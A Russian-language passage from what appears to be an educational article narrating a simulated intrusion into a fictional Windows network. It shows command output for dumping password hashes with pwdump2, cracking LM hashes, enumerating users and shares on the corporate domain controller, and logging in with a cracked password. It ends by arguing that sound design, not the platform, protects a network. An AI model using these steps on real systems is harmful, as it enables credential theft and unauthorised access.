Итак, домен DMZ взломан, и я захватил контроллер домена. Помните, что это хранитель ключей от царской сокровищницы, в которой помимо прочего можно найти базу данных учетных записей пользователей. Пытаясь воспользоваться обретенной мощью, я снова прошу контроллер домена соединиться со мной, чтобы запустить командную оболочку в удаленном режиме. После этого я продолжаю изучать среду, в которой очутился (листинг 8).

Листинг 8. Информация о хосте PYN-DMZ-DC, выведенная ipconfig

C:\warez>ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : PYN-DMZ-DC
   Primary Dns Suffix  . . . . . . . : PYN-DMZ.LOCAL
   Node Type . . . . . . . . . . . . : Unknown
   IP Routing Enabled. . . . . . . . : Yes
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : PYN-DMZ.LOCAL

Ethernet adapter CorpNet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel 21140-Based PCI Fast Ethernet Adapter (Generic) #2
   Physical Address. . . . . . . . . : 00-03-FF-06-3E-F0
   DHCP Enabled. . . . . . . . . . . : No
   IP Address. . . . . . . . . . . . : 10.1.2.16
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :
   DNS Servers . . . . . . . . . . . : 172.17.0.2

Ethernet adapter DMZNet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel 21140-Based PCI Fast Ethernet Adapter (Generic)
   Physical Address. . . . . . . . . : 00-03-FF-07-3E-F0
   DHCP Enabled. . . . . . . . . . . : No
   IP Address. . . . . . . . . . . . : 172.17.0.2
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.17.0.1
   DNS Servers . . . . . . . . . . . : 172.17.0.2

Как видите, данная система включает два сетевых адаптера, один из которых подключен к корпоративной сети, а второй - к DMZ; по-видимому, это означает, что система выполняет функции маршрутизатора между двумя сетями. Прежде чем я этим воспользуюсь, я могу получить дампы учетных записей всех пользователей, хранящихся на контроллере домена.

Помните, я говорил, что контроллер домена хранит около 15 учетных записей пользователей? Терять время нельзя, поэтому я лучше создам дампы хэшей паролей и попробую взломать их. Так как у меня есть привилегии администратора, для получения дампов достаточно запустить очень популярную программу PWDump (листинг 9).

Листинг 9. Информация, выведенная pwdump2

C:\warez>pwdump2.exe
Administrator:500:624aac413795cdc1ff17365faf1ffe89:b9e0c
   fceaf6d077970306a2fd88a7c0a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0
   d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:28237c666
   e4bb3cc96d670cadca1593b:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51
   404ee:cd072175763b0d5b3fbb152f57b96e7c:::
FAjenstat:1106:daf058ae79085db217306d272a9441bb:c43325
   fdf77cafacf02f6e3eaa7f5020:::
AAlberts:1107:1df8f06dcf78bb3aaad3b435b51404ee:2408f92a
   b284046ddcc6952755f449e2:::
HAcevedo:1108:dbff4b96d021df2f93e28745b8bf4ba6:bbd9477
   810308a0b676f3cda91f10539:::
MAlexander:1109:d278e69987353c4c837daf3f2ddd5ca3:2c67b
   571425751747e7ae379fefe9fcc:::
KAkers:1110:693de7f320aae76293e28745b8bf4ba6:fb853a32
   ccd2b92b43639b0e7d29e09d:::
TAdams:1111:ea03148efb24d7fc5be30f58d2a941d5:18cce97e
   e181d42be654133658723813:::
KAbercrombie:1112:6c32f38de08f49f026f8092a33daaf05:a88b
   78471261477e26d9e4c11571b127:::
Sculp:1113:49901659efc5e1d6aad3b435b51404ee:d986300c
   7c0c33d3cc5417dbac6f90db:::
SAbbas:1114:d6855d70abc371c2b77b4e7109416ab8:363c93e
   6be7a5cb001e7ad542c292f26:::
...

По умолчанию Windows хранит два представления паролей: хэш LM (на самом деле это вовсе не хэш) и хэш Windows NT. Опираясь на полученные данные, я могу сказать, что система, с которой мы имеем дело, хранит хэши LM. Это должно обрадовать хакера, так как хэши LM взломать гораздо легче.

Передав дамп программе взлома паролей, я могу взломать большинство хранящихся в этой системе паролей за сутки. На деле, проведя комбинированную атаку, я взломал три пароля менее чем за минуту. Возможно, настоящему взломщику это удалось бы сделать еще быстрее. Есть инструменты, которые взламывают пароли быстрее за счет использования большего объема памяти.

Получив пароли, я должен узнать, где они используются. Информация о системах сети 172.17.0/24 у меня имеется, поэтому посмотрим, что есть в сети 10.1.2/24:

C:\warez>discoverHosts 10.1.2
Reply from 10.1.2.16: bytes=32 timeGetSystemInfo 10.1.2.17
Server  info on 10.1.2.17
Name:   PYN-CORPDC
Domain: PYN
Version:        5.2
Platform ID:    500
Comment:
Server Flags:
Workstation
Server
Domain Controller
Time source

Итак, это контроллер домена, который я изначально искал. Пока могу лишь сказать, что он работает под управлением Windows Server 2003. Возможно, идентификация пользователей этой системы даст мне дополнительную информацию (листинг 10).

Листинг 10. Информация о корпоративном контроллере домена, выведенная dumpinfo

C:\warez>dumpinfo 10.1.2.17

The Administrator is:   PYN\Administrator

Users on PYN-CORPDC:
RID 1000   PYN\HelpServicesGroup   an Alias
RID 1001   PYN\SUPPORT_388945a0    a User
RID 1002   PYN\TelnetClients       an Alias
RID 1003   PYN\PYN-CORPDC$         a User
RID 1104   PYN\FAjenstat           a User
RID 1105   PYN\AAlberts            a User
RID 1106   PYN\HAcevedo            a User
RID 1107   PYN\MAlexander          a User
RID 1108   PYN\KAkers              a User
RID 1109   PYN\TAdams              a User
RID 1110   PYN\KAbercrombie        a User
RID 1111   PYN\Sculp               a User
RID 1112   PYN\SAbbas              a User
RID 1113   PYN\MAllen              a User
RID 1114   PYN\JAdams              a User
RID 1115   PYN\SAlexander          a User
RID 1116   PYN\HAbolrous           a User
RID 1117   PYN\PAckerman           a User
RID 1118   PYN\GAlderson           a User
...

Share      Type            Comment
IPC$       Unknown         Remote IPC
NETLOGON   Disk            Logon server share
ADMIN$     Special         Remote Admin
SYSVOL     Disk            Logon server share
C$         Special         Default share

Administrators:
Unable to enumerate administrators
ERROR: Access Denied

Список получился довольно большой, причем в нем встречаются и наши старые знакомые, учетные записи которых зарегистрированы и на контроллере домена DMZ. В их число входят пользователи, пароли которых я уже взломал. Теперь я могу или продолжить сбор информации, или просто опробовать в деле взломанные учетные записи. Угадайте с трех раз, что выберет хакер:

C:\warez>net use \\pyn-corpdc\c$ /u:pyn\GAlderson "yosemiTe^"
The command completed successfully.

Вот и все: сеть полностью взломана, и с ней можно делать что угодно. Реальный хакер мог бы, например, скопировать из нее конфиденциальную информацию, добавить себя в платежную ведомость, использовать эту сеть для атак на другие сети и т. д. Мы получили полный неограниченный доступ ко всей сети contoso.com.

В данной статье я описал возможный способ взлома сети Windows. Спешу заявить, что сети Windows защищены не хуже, чем любые другие. Хотя конкретные атаки, рассмотренные в этой статье, уникальны для Windows, после небольших изменений методик и выбора других инструментов стала бы возможной аналогичная атака и на сеть, развернутую на другой платформе. Проблема не в самой платформе, а в методах ее защиты.

Все платформы можно защитить, но и все сети, спроектированные и реализованные недостаточно грамотно, можно взломать. Если сеть реализована плохо, никакая платформа ее не спасет.